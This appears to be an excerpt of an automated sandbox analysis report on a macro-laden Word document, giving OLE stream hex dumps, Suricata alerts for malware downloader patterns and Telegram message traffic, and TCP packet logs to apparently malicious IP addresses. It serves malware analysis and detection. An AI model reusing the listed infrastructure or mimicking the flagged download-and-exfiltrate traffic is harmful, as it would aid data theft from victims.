                                                                                                                                                        Stream Path:Macros/PROJECT
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                                                        Stream Size:374
                                                                                                                                                        Entropy:5.333346828642331
                                                                                                                                                        Base64 Encoded:True
                                                                                                                                                        Data ASCII:I D = " { B 2 0 9 1 B A 2 - B 3 B B - 4 A A 9 - 8 C E 7 - E D 9 6 0 D D 0 8 7 1 9 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " C F C D C 8 A 9 3 8 5 B B 1 5 F B 1 5 F B 1 5 F B 1 5 F " . . D P B = " 4 C 4 E 4 B 2 8 B 5 A 4 B 6 A 4 B 6 A 4 " . . G C = " C 9 C B C E D 3 C F D 3 C F 2 C " . . . . [ H o s t E x t e n d e r I n f o ]
                                                                                                                                                        Data Raw:49 44 3d 22 7b 42 32 30 39 31 42 41 32 2d 42 33 42 42 2d 34 41 41 39 2d 38 43 45 37 2d 45 44 39 36 30 44 44 30 38 37 31 39 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69
                                                                                                                                                        Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 41
                                                                                                                                                        General
                                                                                                                                                        Stream Path:Macros/PROJECTwm
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:data
                                                                                                                                                        Stream Size:41
                                                                                                                                                        Entropy:3.0773844850752607
                                                                                                                                                        Base64 Encoded:False
                                                                                                                                                        Data ASCII:T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
                                                                                                                                                        Data Raw:54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00
                                                                                                                                                        Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2910
                                                                                                                                                        General
                                                                                                                                                        Stream Path:Macros/VBA/_VBA_PROJECT
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:data
                                                                                                                                                        Stream Size:2910
                                                                                                                                                        Entropy:4.356611383898817
                                                                                                                                                        Base64 Encoded:False
                                                                                                                                                        Data ASCII:a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o
                                                                                                                                                        Data Raw:cc 61 a3 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 fe 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00
                                                                                                                                                        Stream Path: Macros/VBA/dir, File Type: VAX-order 68K Blit (standalone) executable, Stream Size: 523
                                                                                                                                                        General
                                                                                                                                                        Stream Path:Macros/VBA/dir
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:VAX-order 68K Blit (standalone) executable
                                                                                                                                                        Stream Size:523
                                                                                                                                                        Entropy:6.287398072677158
                                                                                                                                                        Base64 Encoded:True
                                                                                                                                                        Data ASCII:. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . l . . . . . . . . t E i . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s W O W 6 . 4 \\ . e 2 . t l b . # O L E A u t o m a t i o n . ` . . . E N o r m a l . E N C r . m . a Q F . . . . . * . \\ C . . . . . . i . . . ! O f f i c . g O . f . i . c
                                                                                                                                                        Data Raw:01 07 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 74 45 97 69 09 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30
                                                                                                                                                        Stream Path: WordDocument, File Type: data, Stream Size: 4096
                                                                                                                                                        General
                                                                                                                                                        Stream Path:WordDocument
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:data
                                                                                                                                                        Stream Size:4096
                                                                                                                                                        Entropy:1.0858150662104433
                                                                                                                                                        Base64 Encoded:False
                                                                                                                                                        Data ASCII:. Y . . . . . . . . . . . . . . . . . . . . . . . . . . b j b j [ [ . . . . . . . . . . . . . . . . . . . . . . . . . . 9 . \\ 9 . \\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 . . . . . . . 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ? . . . 0 . . . . . . . . .
                                                                                                                                                        Data Raw:ec a5 c1 00 59 e0 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 02 08 00 00 0e 00 62 6a 62 6a 5b c9 5b c9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 2e 0e 00 00 39 a3 0a 5c 39 a3 0a 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

                                                                                                                                                        Network Behavior

                                                                                                                                                        Suricata IDS Alerts

                                                                                                                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                        2025-01-14T08:08:14.579595+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449742166.62.27.188443TCP
                                                                                                                                                        2025-01-14T08:08:23.466369+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449754132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:25.098612+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449754132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:25.579951+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.449758104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:26.450742+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.452742132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:29.469167+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452746104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:30.931425+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452748104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:32.440891+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452750104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:33.939308+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452752104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:34.729831+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.452753132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:36.058488+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.452753132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:36.746760+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452758104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:36.820422+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452759104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:37.619699+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.452760132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:37.751993+01001810007Joe Security ANOMALY Telegram Send Message1192.168.2.452761149.154.167.220443TCP
                                                                                                                                                        2025-01-14T08:08:39.103479+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.452763132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:39.811236+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452764104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:43.220341+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452769104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:43.943210+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.452768132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:45.484581+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.452768132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:46.083888+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452775104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:46.974552+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.452777132.226.8.16980TCP
                                                                                                                                                        2025-01-14T08:08:47.545333+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452779104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:48.846989+01001810007Joe Security ANOMALY Telegram Send Message1192.168.2.452782149.154.167.220443TCP
                                                                                                                                                        2025-01-14T08:08:50.435647+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.452785104.21.16.1443TCP
                                                                                                                                                        2025-01-14T08:08:57.208320+01001810007Joe Security ANOMALY Telegram Send Message1192.168.2.452796149.154.167.220443TCP

                                                                                                                                                        Network Port Distribution

                                                                                                                                                        TCP Packets

                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                        Jan 14, 2025 08:08:10.898468018 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:10.903680086 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:10.903872013 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:10.904203892 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:10.909176111 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.440207958 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.440237999 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.440253973 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.440269947 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.440288067 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.440406084 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.440407038 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.477561951 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.477612019 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.477648020 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.477679968 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.477718115 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.477751970 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.477766037 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.477766037 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.477766037 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.477787971 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.477849007 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.530874014 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.530896902 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.530911922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.530925989 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.530955076 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.531069040 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.531069040 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.531219006 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.531255007 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.531295061 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.531302929 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.531335115 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.531359911 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.531809092 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.531838894 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.531874895 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.567739964 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.567769051 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.567807913 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.567884922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.567918062 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.567943096 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.567951918 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.567985058 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.568006039 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.568021059 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.568078041 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.568798065 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.568831921 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.568866014 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.568893909 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.568898916 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.568952084 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.569459915 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.569492102 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.569525003 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.569545031 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.569557905 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.569610119 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.621376038 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621424913 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621462107 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621484995 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.621495962 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621534109 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621546984 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.621814013 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621849060 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621867895 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.621884108 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621917009 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621931076 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.621952057 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.621999025 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.622523069 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.622575045 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.622626066 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.622633934 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.622661114 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.622694969 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.622713089 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.623528957 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.623562098 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.623583078 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.623610973 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.623675108 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.658361912 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.658411026 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.658466101 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.658499002 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.658512115 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.658534050 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.658560991 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.658569098 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.658605099 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.658617020 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.658649921 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.658706903 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.659210920 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.659245014 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.659280062 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.659297943 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.659311056 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.659368992 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.659387112 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.659404039 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.659457922 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.660048962 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660080910 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660114050 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660131931 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.660204887 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660244942 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660265923 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.660279989 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660335064 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.660841942 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660892010 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660924911 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660944939 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.660957098 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.660990953 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.661005020 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.661026955 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.661077976 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.661643028 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.698741913 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.698764086 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.698779106 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.698798895 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.698833942 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.711790085 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.711815119 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.711829901 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.711843967 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.711858988 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.711863995 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.711874008 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.711884975 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.711890936 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.711906910 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.711920977 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.711934090 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.711965084 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.712202072 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.712219000 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.712251902 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.712259054 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.712275028 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.712289095 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.712306023 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.712311983 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.712321043 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.712336063 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.712347031 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.712348938 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.712378025 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.712397099 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.713196993 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.713244915 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.713282108 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.713301897 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.713315010 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.713349104 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.713366985 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.713382006 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.713417053 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.713435888 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.748944044 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749027967 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.749032974 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749069929 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749124050 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749125957 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.749138117 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749150991 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749156952 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749176025 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749201059 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.749253988 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749301910 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.749311924 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749346018 CET8049737147.124.216.113192.168.2.4
